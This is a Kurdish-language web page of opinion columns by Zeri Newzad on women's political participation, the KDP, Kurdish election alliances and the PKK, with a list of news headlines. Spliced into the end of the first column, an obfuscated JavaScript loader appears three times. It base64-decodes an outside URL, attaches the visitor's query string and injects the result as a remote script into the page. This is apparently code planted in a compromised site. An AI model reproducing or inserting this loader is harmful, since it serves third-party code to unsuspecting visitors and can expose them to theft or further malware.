زه‌رى نه‌وزاد
بابه‌تێ پشكداریا ئافرتان د دروستكرنا بریارێن سیاسی دا؛ ئێكه ژ كوژیێن هه‌ره گرنك بۆ بده‌ستڤه‌ئینانا وه‌لاته‌كێ دیموكراسی، چه‌ندین ساله ل ئیراقێ و ل هه‌رێما كوردستانێ ئه‌ڤ بابه‌ته ب شێوازه‌كێ تیرۆرى ب رێكا ڤه‌كۆلینین زانستى و كۆنفرانس و وڕك شۆپ و سمیناران دهێته پێشكێشكرن، به‌لێ ره‌نگڤه‌دانا وێ ل مه‌انا كارى حه‌تا راده‌یه‌كى یا لاوازه، تا نوكه ئافره‌تان ل رۆژهه‌لاتا ناڤه‌راست ب گشتى نه‌شیایه ببنه پشكه‌ك ژ دروستكه‌رێن بریارێن سیاسی و ئه‌گه‌ر ئه‌م رێژه‌یا ده‌نگێن ئافره‌ت ب ده‌ستخوه‌ڤه دئینن د كورسیێن په‌رله‌مانى دا بكه‌ینه پیڤه‌ر، ئه‌ڤه ئافره‌تین ڤان وه‌لاتان كێمترین ده‌نگان بده‌ستخوه‌ڤه دئینن ژ سه‌رانسه‌رى جیهانێ، كه‌واته هێشتا گه‌له‌ك ئاسته‌نگێن هه‌ین ل به‌رده‌م ئافره‌تێ كو بشێت كاریگه‌ریا خوه یا راسته‌قینه ل سهر سیسته‌مێ سیاسی و برێڤه‌برنێ ل ڤان وه‌لاتان دا بكه‌ت.
ل ده‌مه‌كى كو پارته‌كا سیاسی ب فهر بینیت مایتیكرنێ بكه‌ت بۆ هندێ گوهۆرینێ د به‌رژه‌وه‌ندیا چینه‌كا مافخواری دا بكه‌ت، پارتى دیموكراتى كوردستان وه‌ك رۆكنه‌كێ سه‌ره‌كى ل ده‌ڤه‌رێ ب گشتى و ل ئیراقێ ب تایبه‌تى ژینگه‌هه‌كا هه‌ره ل بار بۆ ئافره‌تان دروست كریه كو د قۆناغین داهاتى دا رۆله‌كێ كاریگه‌ر د دروستكرنا بریارێن سیاسی دا هه‌بیت، پارتى ئه‌ڤێ جارێ كۆتا ژ قاعیدێ خوه ده‌ست پێ كر و هه‌بوونا سیسته‌مێ كۆتایێ وێ چه‌ندێ ناگه‌هینیت كو دێ یه‌كسانى به‌رپا بیت، به‌لێ پێنگاڤه‌كا گرنگه بۆ بده‌ستڤه‌ئینانا یه‌كسانیێ.
ئێك ژ خالێن بهێزیا پارتى باوه‌ریا سه‌ركردایه‌تیا پارتی ی ب پشكداریا راسته‌قینه یا هه‌ر تاكه‌كێ جڤاكێ كوردی د پرۆسه‌یا سیاسی و برێڤه‌برنێ دا ل هه‌رێما كوردستانێ، پارتى د كۆنفرانسێن ناڤخوه‌یی دا ده‌لیڤه‌كا جۆرى و مه‌زن ب ئافره‌تان دا كو بهێنه پێش د هه‌مى ئاستان دا، ئه‌ڤ چه‌نده ژى ره‌نگڤه‌دانا پشكداریا ئافره‌تان بوو د كۆنگره‌یێ پارتى دا و هه‌بوونا ژماره‌یه‌كا باش ژ ئافره‌تان د سه‌ركردایه‌تیا پارتى دا، ئه‌ڤ چه‌نده ژى وێ ئێكێ دگه‌هینیت كو د قۆناغا داهاتی دا دێ ئافره‌ت ل هه‌رێما كوردستانێ پشكداریه‌كا ئێكجار كاریگه‌رتر د هه‌مى سه‌كته‌رێن ژیانێ دا هه‌بیت.
داهاتییا هه‌ر وه‌لاته‌كى یا د د‌ست ئافره‌تا وى وه‌لاتى دا، ژبه‌ركو له‌شكر و زانایێن جیهانێ هه‌مى ل به‌ر ده‌ستێ ئافره‌تان دهێنه راهێنان و فێركرن و په‌روه‌رده‌كرن، پشكداریا ئافره‌تان د هه‌لبژارتنان دا و خوه به‌ربژاكرنا وان د خودێ خوه دا وێره‌كیه‌كا مه‌زنه و ب ده‌رچوون و نه ده‌رچوونێ ل داهاتى دێ ئافره‌تێن وێره‌كتر و سه‌ركه‌فتیتر بن.
ل ده‌مه‌كى كو جیهان و بتایبه‌ت تایبه‌تمه‌ندێن نیڤده‌وله‌تى یێن رێككه‌فتین كو پشكداریا ئافره‌تان د پرۆسه‌یا سیاسی دا نه ب تنێ بۆ وێ چه‌ندێ یه كو یه‌كسانى د ناڤبه‌را هه‌ردو ره‌گه‌زان دا به‌رپا ببیت به‌لكو كارتێكرنا خوه سهر به‌رپابوونا ئاشتیا نێڤده‌وله‌تى هه‌یه و دڤێت ل ئاست وێ گرنگیێ لێ بهێته نێرین.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
نووترين نووچه
- سەرۆك بارزانی: سەركەفتنا پڕۆسەیا هەلبژارتنان سەركەفتنا گەلێ كوردستانێ یە
- عەمار حەكیم پیرۆزباهییا سەركەفتنا هەلبژارتنان ل سەرۆكێ حوكمەتا هەرێمێ دكەت
- دخوازین حوكمەتا نوو یا هەرێما كوردستانێ بهێتە پێكئینان ژ پێخەمەت بەردەوامیدان ب كاروانێ پێشڤەبرنێ
- ئێكەتییا ئۆرۆپا داخوازا زوو دەستبكاربوونا پەرلەمانێ كوردستانێ دكەت
- ئەنجامدانا هەلبژارتنان پێنگاڤەكا سیاسییا گرنگە بۆ هەرێما كوردستانێ و ئیراقێ
- سەرۆكێ جڤاتا نوونەرێن ئیراقێ ب وەكالەت: هیڤیدارم كابینەیا نوو یا حوكمەتا هەرێمێ ب لەز بهێتە پێكئینان
- هەلبژارتنێن پەرلەمانێ كوردستانێ پێنگاڤەكا گرنگە بۆ پێشڤەبرنا چاكسازیێ و گەشەپێدانێ
- هەلبژارتنێن پەرلەمانێ كوردستانێ رەنگڤەدانا قوربانیەکا مەزنە یا خەلكێ كوردستانێ ژ پێخەمەت دیموكراسیێ دای
- سەرۆك بارزانی پشكداری د پرۆسەیا دەنگدانێ بۆ هەلبژارتنێن پەرلەمانێ كوردستانێدا كر
- مەسرور بارزانی: هیڤیدارم خەلكێ كوردستانێ پاداشتا خزمەت و راستگۆییێ بدەت
زه‌ري نه‌وزاد
گرنگیا هه‌بوونا هه‌ڤپه‌یمانیه‌كا كوردى بۆ هه‌لبژارتنێن بهێت یێن عیراقێ
زه‌رى نه‌وزاد
ئه‌م یێ نێزیكى هه‌لبژارتنێن گشتى یێن عیراقێ دبین، كو بریاره مه‌ها 10 یا ئه‌ڤ ساله بهێنه كرن، سه‌ره‌راى هه‌بوونا ناكۆكیێن ناڤخوه‌یى، لێ گه‌له‌ك یا گرنگه كورد ڤێ جارێ د ناڤ خوه‌دا هه‌ڤپه‌یمانیه‌كێ دروست بكه‌ن بۆ هه‌لبژارتنێن بهێت یێن عیراقێ و پاكێج و داخوازیێن خوه بۆ لایه‌نێن عیراقى دیار بكه‌ن، دڤێت كورد ڤێ جارێ شاشیا ناكۆكیا جارێ بوورى یا پۆستێ سه‌رۆك كۆماریێ دوباره نه‌كه‌ت ب تایبه‌ت ئێكه‌تیا نیشتیمانیا كورستان و پارتى دیمۆكراتى كوردستان.
كۆمبوونا به‌رى چه‌ند رۆژان یا نێچیرڤان بارزانى سه‌رۆكێ هه‌رێما كوردستانێ ل گه‌ل كه‌سێن ئێكێ یێن پارتێن سیاسى پێنگاڤه‌كا گه‌له‌ك باش بوو بۆ پتر لێكتێگه‌هشتن و ئێكگرتنا په‌یاما كوردى یا ناڤخوه‌یى و هه‌روه‌سا به‌رامبه‌ر به‌غدا ژبه‌ر كو دڤێت جاره‌كا دی كورد سه‌نگا خوه ل به‌غدا ڤه‌گه‌ریننه‌ڤه و سه‌ره‌دانا رۆژا شه‌مبى و ئێكشه‌مبى یا سه‌رۆكێ هه‌رێمێ بۆ به‌غدا و كۆمبوونا وى ل گه‌ل پرانیا لایه‌نێن سیاسى خاله‌كا زۆر گرنگه بۆ بهێزكرنا په‌یوه‌ندیێن كوردان ل گه‌ل لایه‌نێن نوكه د حوكمه‌تێ دا و د داهاتی دا خوه بۆ هه‌لبژارتنان دوباره به‌رهه‌ڤ دكه‌ن.
ل دو خولێن بوورى یێن پێكئینانا حوكمه‌تێ، كوردان ژبه‌ر ڤێ نه‌ئێكگرتنێ سه‌نگا خوه یا بهێز نه‌بوو و ب پێگه‌هه‌كێ لاواز ڤه دچوو به‌غدا، هه‌تا ل وه‌ختێ عه‌بادى نیڤ ده‌مژمێرێ خوه ل كوردان نه‌گرتن كانێ كورد دێ پشكداریێ د حوكمه‌تا وى دا كه‌ن یان نه، ئه‌و بوو حوكمه‌ت پێكئینا و بێ منه‌ت بوون ژ كوردان، له‌وا یا فه‌ره كورد ڤێ جارێ زووتر و پێشوه‌خت ته‌ماشه‌ى ئایندێ نه‌خشێ سیاسى یێ عیراقێ بكه‌ن و بزانن به‌ر ب چ ئاقار ڤه دچیت و بزانن كیشك هێزا عیراقى ئه‌گه‌ر هه‌یه سه‌ركه‌فتنه‌كا مه‌زن ل عیراقێ بده‌ستڤه بینیت و حوكمه‌تێ پێكدئینن، ده‌ست ب دانوستاندنان بكه‌ن و هنده‌ك رێككه‌فتنێن پێش وه‌خت ئه‌نجام بده‌ن داكو ره‌نگڤه‌دانا وێ د پێكئینانا حوكمه‌تا بهێت دا هه‌بیت و شاشیێن به‌رێ دوباره نه‌بن.
هه‌ر ژ نوكه ته‌یارێ سه‌دڕى گه‌له‌ك یێ بزاڤان دكه‌ت كو كابینا بهێت یا حوكمه‌تێ ئه‌و پێكبینیت، به‌لێ پرسیار ل ڤێره ئه‌وه ئه‌رێ ئه‌و دشێت بێى هه‌ڤپه‌یمانى ڤێ چه‌ندێ بكه‌ت، به‌رسڤ نه‌خێر، ژبه‌ر كو ناڤمالا لایه‌نێن شیعه‌یان ژى هند یا ئێكگرتى نینه و ل ڤێره شیعه هه‌ر پێدڤى ب هێزه‌كا وه‌كو سونى یان كوردانن بۆ پێكئینانا كابینا بهێت یا عیراقێ، هه‌ڤپه‌یمانیا سائیرون نه‌شێت كابینا نوو یا بهێت پێكبینیت ئه‌گه‌ر هه‌ڤپه‌یمانیه‌كێ پێكنه‌ئینیت كه‌واته پێدڤى ب كورد و سونه‌یانه، نموونه ژى ل ڤێ ماوێ چوویى هه‌ڤپه‌یمانیا سائیرون نه‌شیا كۆده‌نگیا شیعه‌یان دروست بكه‌ت بۆ ده‌ربازكرنا چه‌ندین قانوونێن گرنگ ل په‌رله‌مانێ عیراقێ، مه دیت موقته‌دا سه‌در چه‌ندین بزاڤ كرن كۆده‌نگیا شیعان بۆ ده‌ربازكرنا پرۆژه قانوونا بۆدجێ عیراقێ بۆ سالا 2021 دروست بكه‌ت، به‌لێ هه‌ر نه‌شیا، ئه‌‌بوو پارتا نوورى مالكى و پارتا فه‌زیله نه‌هاتن و ده‌نگ ب بۆدجه نه‌دا، ئانكو ل ڤێره مه‌ترسیه‌كا مه‌زن یا ل سهر موقته‌دا سه‌در ژى، رێبه‌رێ ره‌وتا سه‌در كو بۆ هه‌لبژارتنێن بهێت بكه‌ڤیته ده‌رڤه‌ى كۆده‌نگیا شیعان، ل ڤێره سه‌در دێ پێدڤى ب كوردان بیت و دشێت هه‌ڤپه‌یمانیه‌كا ب هێز ل گه‌ل كوردان پێكبینیت، له‌وما فه‌ره كورد ب تایبه‌تى پارتى و ئێكه‌تى هه‌ڤپه‌یمانیه‌كێ دروست بكه‌ن و پاشى ل گه‌ل لایه‌نێ شیعى بكه‌ڤنه دانوستاندنان بۆ مسۆگه‌ركرنا داخوازییێن كوردان د چار سالێن بهێت ییێن حوكمرانیا عیراقێ.
ئافره‌ت و هێزا كاری
زه‌ری نه‌وزاد
جڤاكێ كوردستانێ د قووناغه‌كا گه‌له‌ك گرنگ دا ده‌ربازدبیت و د گه‌له‌ك بیاڤان دا، ئه‌م دبێژینێ قووناغا ڤه‌گوهاستنێ، ئانكو ژ به‌ر كارتێكرنا ته‌كنیك و ته‌كنولۆجیێ ئێدی ئافره‌تا كورد ژی حه‌ز ناكه‌ت تنێ ل مالێ بیت و دڤێت هێز و شیانێن خوه ل ده‌رڤه‌ی خێزانێ بمه‌زێخیت و بێگومان ئه‌و یه‌ك ژی مافێ سروشتی یێ ئافره‌تێ یه، ئافره‌تا كورد د دیرۆكێ دا هه‌تا نها سه‌لماندیه كو شیایه د گه‌له‌ك قووناغێن سه‌خت و دژوار دا ل گه‌ل زه‌لامی كارێن مه‌زن بكه‌ت، ژ به‌ر هندێ ژی ئه‌ڤرۆكه ئافره‌تا كورد ب مافێ خوه یێ هه‌رێ سروشتی دزانیت كو د پێشڤه‌برنا بیاڤێن ئابووری، سیاسی و جڤاكی دا خوه‌دان رۆل بیت.
سنۆرداركرنا ئافره‌تێ د ناڤ مالێ دا بێگومان مه‌زنترین زۆلمه كو ل ئافره‌تێ بهێته كرن، چونكو ژ ئالیه‌كێ شیانێن وێ هه‌موو ژناڤ دچن و ل ئالیێ دی ژی ده‌مێ ئافره‌ت تنێ د ناڤ مالێ دا یا سنوردار بیت بێگومان دێ تووشی گه‌له‌ك ئاریشان بیت و ئه‌و یه‌ك ژی وه دكه‌ت كو ئاریشێن جڤاكی ژی ل گه‌ل خوه دروست بكه‌ت، ژ به‌ر هندێ ژی ده‌م یێ هاتی كو ئێدی ب چو به‌هانان ئاسته‌نگی ل هه‌مبه‌ر شیانێن ئافره‌تێ نه‌هێنه دروستكرن و پێدڤیه حوكمه‌تا هه‌رێما كوردستانێ و ئالیێن په‌یوه‌ندیدار ژی ب هه‌موو ره‌نگه‌كی پشته‌ڤانیێ ل شیانێن ئافره‌تێ بكه‌ن دا ئه‌و وێره‌كی ل نك ئافره‌تێ ژی دروست بیت كو بشێت ب پرۆژێن خوه پشكداریێ د ئاڤه‌دانی و پێشڤه‌برنا جڤاكێ كوردستانێ دا بكه‌ت.
بێگومان كه‌سایه‌تی و سروشتێ ئافره‌تا كورد جوداهی و تایبه‌تمه‌ندیێن خوه هه‌نه و ئه‌و تایبه‌تمه‌ندی ژی دشێت گه‌له‌ك مفایێن خوه یێن مه‌زن و باش بۆ جڤاكێ مه هه‌بیت، نابیت رێگری ل ئافره‌تێ بهێته‌كرن، چونكو جڤاكێ كوردستانێ پێدڤی ب ده‌نگ، ره‌نگ و شیانێن ئافره‌تا كورده و ئه‌ڤرۆكه ئافره‌تا كورد دشێت ب پرۆژێن خوه یێن جودا و تایبه‌ت د گه‌له‌ك بیاڤان دا خزمه‌تا جڤاكێ بكه‌ت، گه‌له‌ك تایبه‌تمه‌ندی و كه‌لتورێ كوردی ژ ئالیێ ئافره‌تێ ڤه هاتینه پاراستن و ئه‌ڤرۆكه ئافره‌ت دشێت ب ته‌كنۆلۆجیه‌كا نوو خزمه‌تێن به‌رچاڤ بۆ جڤاكی بكه‌ت.
دڤێت ژبیر نه‌كه‌ین كو ئافره‌ت ئه‌ڤرۆكه هێزه‌كا مه‌زن یا كاری یه، نابیت تنێ ئه‌م وه‌سا هزر بكه‌ین كو ئافره‌ت تنێ دشێت د كارێن ئیداری دا پشكدار بیت، به‌لكو دڤێت رێگری بۆ شیانێن وێ نه‌هێنه دروستكرن و ئه‌و ده‌لیڤه بۆ بهێته دان دا بشێت داهێنانێن مه‌زن بكه‌ت، ئه‌ڤرۆكه ل گه‌له‌ك وه‌لاتێن جیهانێ ئافره‌ت بووینه هێزا مه‌زن یا كاری و ژ بلی هندێ كو خێزانا خوه خوه‌دان دكه‌ن شیاینه د گه‌شه‌پێدانا ئابووری یا وه‌لاتی دا خوه‌دان رۆله‌ك سه‌ره‌كی بن، بێگومان دڤێت هه‌مان تشت ل كوردستانێ ژی بهێته كرن و ئه‌و ده‌لیڤه بۆ ئافره‌تان بهێته دان دا بشێن پرۆژێن خوه پێشكێش بكه‌ن و هنده‌ك سازی یان ژی سه‌رمایه‌دار پشته‌ڤانیێ ل وان بكه‌ن دا روویێ گه‌ش یێ جڤاكێ كوردستانێ پتر دیار بیت.
هه‌كه ئه‌م به‌رێ خوه بده‌ینێ ئه‌ڤرۆكه گه‌له‌ك به‌رهه‌مێن جودا جودا ژ ده‌رڤه دهێنه كوردستانێ، لێ ئه‌ز ب باوه‌رم هه‌كه هاریكاریا ئافره‌تێ بهێته كرن ئه‌و دشێن ب پرۆژێن خوه یێن تایبه‌ت گه‌له‌ك ژ وان به‌رهه‌مان ل كوردستانێ به‌رهه‌م بینن و پێشكێشی جڤاكی بكه‌ن، ژ به‌ر هندێ ژی دبێژم ئافره‌ت دشێت ببیته چه‌رخا مه‌زن یا گه‌شه‌پێدانێ و ب هزرێن خوه یێن تایبه‌ت دشێت گه‌له‌ك گوهۆرینان بكه‌ت، تنێ یا دهێته خواستن ئه‌وه كو ئاسته‌نگی ل هه‌مبه‌ر پرۆژێن ئافره‌تێ و هێزا وی یا كاری نه‌هێته دروستكرن و ئه‌و هاریكاریا بۆ زه‌لامی و پرۆژێن وێ دهێته كرن بۆ پرۆژێن جودا و تایبه‌ت یێن ئافره‌تێ ژی بهێنه كرن، وی ده‌می كوردستان دشێت د بیاڤێ گه‌شه‌پێدانا ئابووری دا گه‌له‌ك قووناغێن مه‌زن ده‌رباز بكه‌ت.
په‌كه‌كه و تێكدانا ئارامیا ل هه‌رێما كوردستانێ
زه‌ری نه‌وزاد
په‌كه‌كه ده‌مێ كو سالا ١٩٨٤ ده‌ست ب چالاكیێن سه‌ربازی ل دژی توركیا كری به‌رێ خوه دایه هه‌رێما كوردستانێ و ئاریشه بۆ خه‌لكی دروست كرینه، پشتی سالا ١٩٩١ كو ژ ئه‌نجاما سه‌رهلدانا خه‌لكێ مه ل هه‌رێما كوردستانێ ره‌وشه‌كا نوو هاته پێش، په‌كه‌كێ ب هه‌موو ره‌نگه‌كێ ئالۆزی دروستكرن و شه‌رێ پارتی و ئێكه‌تیێ كر، سیاسه‌تا په‌كه‌كێ و كریارێن وێ ب ته‌مامی خزمه‌تا ده‌وله‌تا توركیا و داگیركه‌رێن دی یێن كوردستانێ دكه‌ن.
په‌كه‌كێ چه‌ندین پارت و بزاڤێن سیاسی ب رێیا هنده‌ك كه‌سان ل هه‌رێما كوردستانێ دروست كرن و ب هه‌موو ره‌نگه‌كێ دڤیا نه‌هێلیت هه‌رێما كوردستانێ ببیته خوه‌دان حوكمه‌ت و په‌رله‌مان، لێ راستیا په‌كه‌كێ و كریارێن وێ بۆ خه‌لكێ مه ل هه‌رێما كوردستانێ ئاشكرا بوویه و ژ به‌ر هندێ ژی نه‌شیا بگه‌هیته ئارمانجێن خوه.
هه‌رێما كوردستانێ ئه‌ڤرۆكه د ئاستێ جیهانێ دا هه‌رێمه‌كا قانوونی یه و د دستوورێ عیراقێ دا دانپێدان پێ هاتیه كرن، خوه‌دان په‌رله‌مان و حوكمه‌ت و سه‌رۆكاتیا هه‌رێما كوردستانێ یه و وه‌كو ده‌وله‌ته‌كێ خوه برێڤه دبه‌ت، رۆژ ب رۆژێ پێگه‌هێ هه‌رێما كوردستانێ د ئاستێ دبلۆماسی، سیاسی و ئابووری دا باشتر لێ دهێت، لێ مخابن كریارێن تێكده‌رانه یێن په‌كه‌كێ ئاریشه‌كا مه‌زن بۆ خه‌لكێ هه‌رێما كوردستانێ دروست كریه
ئه‌ڤرۆكه چه‌كدارێن په‌كه‌كێ خوه ل پشت گوندێن هه‌رێما كوردستانێ ڤه‌دشێرن و پاشی ژی دچن چالاكیان ل سهر سنوری دكه‌ن و به‌هانان بۆ توركیا دروست دكه‌ن دا هێرشی هه‌رێما كوردستانێ بكه‌ت، ژ به‌ر هندێ ژی د ڤان چه‌ند سالێن دووماهیێ دا ب ده‌هان وه‌لاتیێن سڤیل یێن هه‌رێما كوردستانێ شه‌هید بووینه، سه‌ركردایه‌تیا سیاسی یا هه‌رێما كوردستانێ گه‌له‌ك جاران داخواز ژ په‌كه‌كێ كریه كو ره‌وشا هه‌رێما كوردستانێ بده‌ته به‌رچاڤ و چو به‌هانان نه‌ده‌نه ده‌ستێ توركیا، لێ دیاره كریارین په‌كه‌كێ هه‌موو بۆ هندێ نه دا نه‌هێلن پارچه‌كا ئازادكری یا كوردستانێ پێش بكه‌ڤیت و دخوازن ده‌ستكه‌فتیێن مه كو ب خوینا هزاران شه‌هیدان بده‌ستڤه هاتینه ژناڤ ببه‌ن.
نموونا باژێرێ عه‌فرینێ یێ كوردستانا سووریێ به‌رچاڤه، عه‌فرین جوانترین باژێرێ كوردستانا سووریێ بوو، باژێره‌ك ده‌وله‌مه‌ند بوو و خه‌لكی ژیانه‌كا خوه یا خوه‌ش هه‌بوو، لێ ژ به‌ر سیاسه‌تا په‌كه‌كێ یا كو خزمه‌تا توركیا و داگیركه‌ران دكه‌ت، عه‌فرین كه‌فته ده‌ستێ توركیا و گرۆپێن چه‌كدار و ب سه‌دهزاران وه‌لاتیێن كورد ئاواره بووینه و د ره‌وشه‌كا گه‌له‌ك خراب دا دژین و عه‌فرین وێران بوو .
بۆچی په‌كه‌كه ل توركیا هێرشی بنگه‌هێن سه‌ربازی یێن توركیا ناكه‌ت یان ژی ل وه‌لاته‌كێ دی هێرشی كونسولخانا توركیا نه‌كر و ئه‌و یه‌ك ل هه‌رێما كوردستانێ ئه‌نجام دا؟ هه‌رچه‌نده ئه‌ز ب هه‌موو ره‌نگه‌كێ ل دژی هێرشێن سه‌ربازی و كریارێن وه‌سا مه، من نه‌ڤێت چو جاران شه‌ر روو بده‌ت، لێ بۆچی دڤێت ل هه‌رێما كوردستانێ كاره‌كێ وه‌سا بكه‌ن.
په‌كه‌كێ دڤێت ب پیلانه‌كا وه‌سا مه‌ترسیدار نه‌هێلیت نه‌فتا هه‌رێما كوردستانێ ب رێیا توركیا بچیته ده‌رڤه دا پێگه‌هێ هه‌رێمێ بهێزتر لێ نه‌هێت و یا دروستاهی كو من دڤێت بێژم په‌كه‌كه خزمه‌تا سیاسه‌تا ئیرانێ ژی دكه‌ت، چونكو نها په‌ترۆلا هه‌رێما كوردستانێ بوویه به‌دیلێ ئیرانێ و ئه‌و یه‌ك ب دلێ ئیرانێ نینه و په‌كه‌كه د كریاری دا خزمه‌تا ئیرانێ و ده‌وله‌تێن دی یێن داگیركه‌رێن كوردستانێ دكه‌ت.
ب خوه ڤه‌شارتنا ل گوندێن هه‌رێما كوردستانێ و كوشتنا كارمه‌نده‌كێ كونسولخانا توركیا ل هه‌ولێرێ په‌كه‌كه نه‌شێت خزمه‌تا دۆزا كوردی ل باكورێ كوردستانێ بكه‌ت به‌لكو وه‌كو چل سالێن بۆری دا تنێ كور و كچێن كوردان ده‌ته كوشتن و چو ئه‌نجامێن خوه ژی نابن، چل سالن نه‌شیاینه گونده‌كێ ل باكورێ كوردستانێ ئازاد بكه‌ن و ب عه‌قلێ خوه یێ نها نه‌شێن چو بكه‌ن، چونكو نه ل كوردستانێ و نه ژی ل جیهانێ كه‌س پشته‌ڤانیێ ل سیاسه‌تا شاش یا په‌كه‌كێ ناكه‌ت و پرانیا هێزێن كوردی ژی ل دژی سیاسه‌ت و كریارێن په‌كه‌كێ نه.
پارتى و هه‌لبژارتنا سه‌رۆكێ هه‌رێما كوردستانێ
زه‌ری نه‌وزاد
هه‌لبژارتنا به‌رێز نێچیرڤان بارزانی وه‌كو سه‌رۆكێ نوو یێ هه‌رێما كوردستانێ بوویه جهێ دلخوه‌شیا هه‌موو ته‌خێن جڤاكی ل كوردستانێ، ب تایبه‌تی ژی ته‌خا گه‌نجان و ئافره‌تان دلخوه‌شن، چونكو د كابینێن بۆری دا ل ده‌مێ كو به‌رێز نێچیرڤان بارزانی سه‌رۆكێ حوكمه‌تا هه‌رێما كوردستانێ بوو و خزمه‌ته‌كا ئێكجار زۆر پێشكێشی پرسا ئافره‌تێ ل كوردستانێ كریه، ده‌سپێكرنا هه‌وێن نه‌هێلانا توندوتیژیێ ل دژی ئافره‌تان، گرنگیدان ب رۆلێ ئافره‌تێ د رێڤه‌برنا كاروبارێن سیاسی و جڤاكی دا، پشتاڤانیكرن ژ سه‌دان رێكخراوێن ئافره‌تان و گه‌نجان هه‌موو نیشانێن هندێ نه كو نێچیرڤان بارزانی گرنگیه‌كا مه‌زن دده‌ته جڤاكی. گه‌له‌ك جاران د گۆتارێن خوه دا سه‌رۆكێ نوو یێ هه‌رێما كوردستانێ ئاماژه ب گرنگیا پێشڤه‌چوونا جڤاكێ كوردستانێ و رۆلێ ئافره‌تێ كریه، د كابینێن بۆری دا كو نێچیرڤان بارزانی سه‌رۆكاتیا وان كریه هه‌ر چ نه‌بیت ئافره‌ته‌ك وه‌كو وه‌زیر كار كریه و ب ده‌هان ئافره‌ت ژی وه‌كو رێڤه‌به‌رێن گشتی و به‌رپرسێن ده‌زگه‌هێن جودا جودا یێن حوكمه‌تا هه‌رێما كوردستانێ كار كرینه كو رێژا هه‌ره مه‌زن ئافره‌تێن پارتى بووینه ئه‌و یه‌ك ژی بوویه جهێ دلخوه‌شیا ته‌خا ئافره‌تان ل كوردستانێ. نها قۆناغه‌كا نوو ل كوردستانێ ده‌ستپێ دكه‌ت، نێچیرڤان بارزانی وه‌كو سه‌رۆكێ هه‌رێما كوردستانێ هاته هه‌لبژارتن و د گۆتارا خوه دا به‌حسێ مافێن هه‌موو تاكێن جڤاكێ كوردستانێ و یه‌كسانیا جڤاكی دكه‌ت كو ئه‌و ژی ئاماژێن به‌رچاڤن نێچیرڤان بارزانی دێ گرنگیێ ده‌ته ئێكسانیا جڤاكی و ئه‌و یه‌ك ژی بێگومان دێ ب گرنگیدانا ب رۆلێ ئافره‌تێ بجه هێت، چونكو پێشڤه‌چوونا ئاستێ ئافره‌تێ د هه‌ر جڤاكه‌كێ دا نیشانا پێشڤه‌چوونا ئاستێ جڤاكێ بخوه یه و ئه‌و یه‌ك ژی بۆ مه وه‌كو هه‌رێما كوردستانێ گرنگیه‌كا خوه یا مه‌زن هه‌یه. د ده‌مێن بۆری دا ژ به‌ر قه‌یرانا ئابووری گه‌له‌ك پرۆژێن گرێدای ئافره‌تان و پێشڤه‌برنا شیانێن ئافره‌تان ل هه‌موو كوردستانێ هاتنه راگرتن، لێ نها ئه‌م ب هێڤینه كو پشتی سه‌رۆك نێچیرڤان بارزانی ده‌ست ب كارێ خوه بكه‌ت جاره‌كا دی پشته‌ڤانیێ ل سازیێن ئافره‌تان ل هه‌رێما كوردستانێ بكه‌ت، روویێ گه‌ش یێ دیمۆكراسیێ و پێكڤه‌ژیانا نها ل كوردستانێ بۆ هه‌موو جیهانێ بوویه جهێ گرنگیه‌كا مه‌زن، ئافره‌تا كورد ژی دڤێت د قۆناغا نوو یا ل هه‌رێما كوردستانێ دا پتر خودان رۆل بیت، ئه‌ڤرۆكه پتر ژ هه‌ر ده‌مه‌كێ پارتی دیموكراتی كوردستان گرنگیێ ب رۆلێ ئافره‌تێ و شیانێن وێ دده‌ت، د خۆلا نوو یا په‌رله‌مانێ كوردستانێ دا ل سهر لیستا پارتی هژماره‌كا به‌رچاڤ ئافره‌ت چوونه په‌رله‌مانێ كوردستانێ و ئه‌و یه‌ك ژی ئاماژه‌كا باشه بۆ ده‌سپێكرنا قۆناغه‌كا نوو و گرنگ كو تێدا ئافره‌ت بشێت سه‌ركێشیا قۆناغه‌كا نوو یا پێشڤه‌چوونا دیموكراسیێ و پێكڤه‌ژیانێ ل كوردستانێ بكه‌ت. جڤاكێ كوردستانێ خوه‌دان تایبه‌تمه‌ندیا خوه یا جودایه، ئافره‌تا كورد د هه‌موو قۆناغێن دژوار یێن ژیانێ ل گه‌ل زه‌لامی بوویه و ئه‌و ب تنێ نه‌هێلایه، نها ژی گرنگه ئافره‌ت د پرۆسێسا پێشڤه‌چوون و دیموكراتیزه‌كرنا جڤاكێ كوردستانێ دا خوه‌دان رۆل بیت، چاره‌كرنا پرسێن گرێدایی ئافره‌تێ كو د ناڤه‌رۆكا خوه دا پرسێن جڤاكێ كوردستانێ نه دێ شێت ببیته ده‌ستپێكه‌كا نوو بۆ گوهۆرینێن جڤاكی ل كوردستانێ، هێڤیدارین سه‌رۆكێ نوو یێ هه‌رێما كوردستانێ پتر ژ سالێن بۆری پشته‌ڤانیێ ل ئافره‌تان و سازیێن وان بكه‌ت، دڤێت ئاسته‌نگیێن ل هه‌مبه‌ر پشكداریا ئافره‌تان د بیاڤێن جودا جودا یێن ژیانێ دا نه‌مینن و بێگومان سه‌رۆك نێچیرڤان بارزانی دشێت رۆله‌كێ به‌رچاڤ بگێریت و وان ئاسته‌نگیان ژ هۆلێ راكه‌ت.
